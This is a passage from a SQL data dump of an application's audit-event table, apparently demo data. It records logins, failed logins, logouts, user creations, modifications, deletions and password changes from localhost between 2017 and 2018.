19:40:48','USER_LOGIN_FAILED',1,'2017-10-05 21:40:48',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(638,'2017-10-05 19:40:55','USER_LOGIN',1,'2017-10-05 21:40:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(639,'2017-10-05 19:43:34','USER_MODIFY',1,'2017-10-05 21:43:34',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(640,'2017-10-05 19:45:43','USER_CREATE',1,'2017-10-05 21:45:43',12,'User aaa created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(641,'2017-10-05 19:45:43','USER_NEW_PASSWORD',1,'2017-10-05 21:45:43',12,'Password change for aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(642,'2017-10-05 19:46:18','USER_DELETE',1,'2017-10-05 21:46:18',12,'User aaa removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(643,'2017-10-05 19:47:09','USER_MODIFY',1,'2017-10-05 21:47:09',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(644,'2017-10-05 19:47:22','USER_MODIFY',1,'2017-10-05 21:47:22',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(645,'2017-10-05 19:52:05','USER_MODIFY',1,'2017-10-05 21:52:05',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(646,'2017-10-05 19:52:23','USER_MODIFY',1,'2017-10-05 21:52:23',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(647,'2017-10-05 19:54:54','USER_NEW_PASSWORD',1,'2017-10-05 21:54:54',12,'Password change for zzeceo','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(648,'2017-10-05 19:54:54','USER_MODIFY',1,'2017-10-05 21:54:54',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(649,'2017-10-05 19:57:02','USER_MODIFY',1,'2017-10-05 21:57:02',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(650,'2017-10-05 19:57:57','USER_NEW_PASSWORD',1,'2017-10-05 21:57:57',12,'Password change for pcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(651,'2017-10-05 19:57:57','USER_MODIFY',1,'2017-10-05 21:57:57',12,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(652,'2017-10-05 19:59:42','USER_NEW_PASSWORD',1,'2017-10-05 21:59:42',12,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(653,'2017-10-05 19:59:42','USER_MODIFY',1,'2017-10-05 21:59:42',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(654,'2017-10-05 20:00:21','USER_MODIFY',1,'2017-10-05 22:00:21',12,'User adminx modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(655,'2017-10-05 20:05:36','USER_MODIFY',1,'2017-10-05 22:05:36',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(656,'2017-10-05 20:06:25','USER_MODIFY',1,'2017-10-05 22:06:25',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(657,'2017-10-05 20:07:18','USER_MODIFY',1,'2017-10-05 22:07:18',12,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(658,'2017-10-05 20:07:36','USER_MODIFY',1,'2017-10-05 22:07:36',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(659,'2017-10-05 20:08:34','USER_MODIFY',1,'2017-10-05 22:08:34',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(660,'2017-10-05 20:47:52','USER_CREATE',1,'2017-10-05 22:47:52',12,'User cc1 created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(661,'2017-10-05 20:47:52','USER_NEW_PASSWORD',1,'2017-10-05 22:47:52',12,'Password change for cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(662,'2017-10-05 20:47:55','USER_LOGOUT',1,'2017-10-05 22:47:55',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(663,'2017-10-05 20:48:08','USER_LOGIN',1,'2017-10-05 22:48:08',11,'(UserLogged,zzeceo) - TZ=1;TZString=Europe/Berlin;Screen=1590x434','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(664,'2017-10-05 20:48:39','USER_CREATE',1,'2017-10-05 22:48:39',11,'User cc2 created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(665,'2017-10-05 20:48:39','USER_NEW_PASSWORD',1,'2017-10-05 22:48:39',11,'Password change for cc2','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(666,'2017-10-05 20:48:59','USER_NEW_PASSWORD',1,'2017-10-05 22:48:59',11,'Password change for cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(667,'2017-10-05 20:48:59','USER_MODIFY',1,'2017-10-05 22:48:59',11,'User cc1 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(668,'2017-10-05 21:06:36','USER_LOGOUT',1,'2017-10-05 23:06:35',11,'(UserLogoff,zzeceo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(669,'2017-10-05 21:06:44','USER_LOGIN_FAILED',1,'2017-10-05 23:06:44',NULL,'Bad value for login or password - login=cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(670,'2017-10-05 21:07:12','USER_LOGIN_FAILED',1,'2017-10-05 23:07:12',NULL,'Bad value for login or password - login=cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(671,'2017-10-05 21:07:19','USER_LOGIN_FAILED',1,'2017-10-05 23:07:19',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(672,'2017-10-05 21:07:27','USER_LOGIN_FAILED',1,'2017-10-05 23:07:27',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(673,'2017-10-05 21:07:32','USER_LOGIN',1,'2017-10-05 23:07:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(674,'2017-10-05 21:12:28','USER_NEW_PASSWORD',1,'2017-10-05 23:12:28',12,'Password change for cc1','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(675,'2017-10-05 21:12:28','USER_MODIFY',1,'2017-10-05 23:12:28',12,'User cc1 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(676,'2017-10-05 21:13:00','USER_CREATE',1,'2017-10-05 23:13:00',12,'User aaa created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(677,'2017-10-05 21:13:00','USER_NEW_PASSWORD',1,'2017-10-05 23:13:00',12,'Password change for aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(678,'2017-10-05 21:13:40','USER_DELETE',1,'2017-10-05 23:13:40',12,'User aaa removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(679,'2017-10-05 21:14:47','USER_LOGOUT',1,'2017-10-05 23:14:47',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(680,'2017-10-05 21:14:56','USER_LOGIN',1,'2017-10-05 23:14:56',16,'(UserLogged,cc1) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(681,'2017-10-05 21:15:56','USER_LOGOUT',1,'2017-10-05 23:15:56',16,'(UserLogoff,cc1)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(682,'2017-10-05 21:16:06','USER_LOGIN',1,'2017-10-05 23:16:06',17,'(UserLogged,cc2) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(683,'2017-10-05 21:37:25','USER_LOGOUT',1,'2017-10-05 23:37:25',17,'(UserLogoff,cc2)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(684,'2017-10-05 21:37:31','USER_LOGIN',1,'2017-10-05 23:37:31',16,'(UserLogged,cc1) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(685,'2017-10-05 21:43:53','USER_LOGOUT',1,'2017-10-05 23:43:53',16,'(UserLogoff,cc1)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(686,'2017-10-05 21:44:00','USER_LOGIN',1,'2017-10-05 23:44:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(687,'2017-10-05 21:46:17','USER_LOGOUT',1,'2017-10-05 23:46:17',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(688,'2017-10-05 21:46:24','USER_LOGIN',1,'2017-10-05 23:46:24',16,'(UserLogged,cc1) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(689,'2017-11-04 15:17:06','USER_LOGIN',1,'2017-11-04 16:17:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(690,'2017-11-15 22:04:04','USER_LOGIN',1,'2017-11-15 23:04:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(691,'2017-11-15 22:23:45','USER_MODIFY',1,'2017-11-15 23:23:45',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(692,'2017-11-15 22:24:22','USER_MODIFY',1,'2017-11-15 23:24:22',12,'User cc1 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(693,'2017-11-15 22:24:53','USER_MODIFY',1,'2017-11-15 23:24:53',12,'User cc2 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(694,'2017-11-15 22:25:17','USER_MODIFY',1,'2017-11-15 23:25:17',12,'User cc1 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(695,'2017-11-15 22:45:37','USER_LOGOUT',1,'2017-11-15 23:45:37',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(696,'2017-11-18 13:41:02','USER_LOGIN',1,'2017-11-18 14:41:02',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(697,'2017-11-18 14:23:35','USER_LOGIN',1,'2017-11-18 15:23:35',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(698,'2017-11-18 15:15:46','USER_LOGOUT',1,'2017-11-18 16:15:46',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(699,'2017-11-18 15:15:51','USER_LOGIN',1,'2017-11-18 16:15:51',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(700,'2017-11-30 17:52:08','USER_LOGIN',1,'2017-11-30 18:52:08',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(701,'2018-01-10 16:45:43','USER_LOGIN',1,'2018-01-10 17:45:43',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(702,'2018-01-10 16:45:52','USER_LOGOUT',1,'2018-01-10 17:45:52',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(703,'2018-01-10 16:46:06','USER_LOGIN',1,'2018-01-10 17:46:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(704,'2018-01-16 14:53:47','USER_LOGIN',1,'2018-01-16 15:53:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(705,'2018-01-16 15:04:29','USER_LOGOUT',1,'2018-01-16 16:04:29',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(706,'2018-01-16 15:04:40','USER_LOGIN',1,'2018-01-16 16:04:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(707,'2018-01-22 09:33:26','USER_LOGIN',1,'2018-01-22 10:33:26',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(708,'2018-01-22 09:35:19','USER_LOGOUT',1,'2018-01-22 10:35:19',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(709,'2018-01-22 09:35:29','USER_LOGIN',1,'2018-01-22 10:35:29',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(710,'2018-01-22 10:47:34','USER_CREATE',1,'2018-01-22 11:47:34',12,'User aaa created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(711,'2018-01-22 10:47:34','USER_NEW_PASSWORD',1,'2018-01-22 11:47:34',12,'Password change for aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(712,'2018-01-22 12:07:56','USER_LOGIN',1,'2018-01-22 13:07:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(713,'2018-01-22 12:36:25','USER_NEW_PASSWORD',1,'2018-01-22 13:36:25',12,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(714,'2018-01-22 12:36:25','USER_MODIFY',1,'2018-01-22 13:36:25',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(715,'2018-01-22 12:56:32','USER_MODIFY',1,'2018-01-22 13:56:32',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(716,'2018-01-22 12:58:05','USER_MODIFY',1,'2018-01-22 13:58:05',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(717,'2018-01-22 13:01:02','USER_MODIFY',1,'2018-01-22 14:01:02',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(718,'2018-01-22 13:01:18','USER_MODIFY',1,'2018-01-22 14:01:18',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(719,'2018-01-22 13:13:42','USER_MODIFY',1,'2018-01-22 14:13:42',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(720,'2018-01-22 13:15:20','USER_DELETE',1,'2018-01-22 14:15:20',12,'User aaa removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(721,'2018-01-22 13:19:21','USER_LOGOUT',1,'2018-01-22 14:19:21',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(722,'2018-01-22 13:19:32','USER_LOGIN',1,'2018-01-22 14:19:32',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(723,'2018-01-22 13:19:51','USER_LOGOUT',1,'2018-01-22 14:19:51',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(724,'2018-01-22 13:20:01','USER_LOGIN',1,'2018-01-22 14:20:01',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(725,'2018-01-22 13:28:22','USER_LOGOUT',1,'2018-01-22 14:28:22',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(726,'2018-01-22 13:28:35','USER_LOGIN',1,'2018-01-22 14:28:35',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(727,'2018-01-22 13:33:54','USER_LOGOUT',1,'2018-01-22 14:33:54',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(728,'2018-01-22 13:34:05','USER_LOGIN',1,'2018-01-22 14:34:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(729,'2018-01-22 13:51:46','USER_MODIFY',1,'2018-01-22 14:51:46',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(730,'2018-01-22 16:20:12','USER_LOGIN',1,'2018-01-22 17:20:12',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(731,'2018-01-22 16:20:22','USER_LOGOUT',1,'2018-01-22 17:20:22',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(732,'2018-01-22 16:20:36','USER_LOGIN',1,'2018-01-22 17:20:36',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(733,'2018-01-22 16:27:02','USER_CREATE',1,'2018-01-22 17:27:02',12,'User ldestailleur 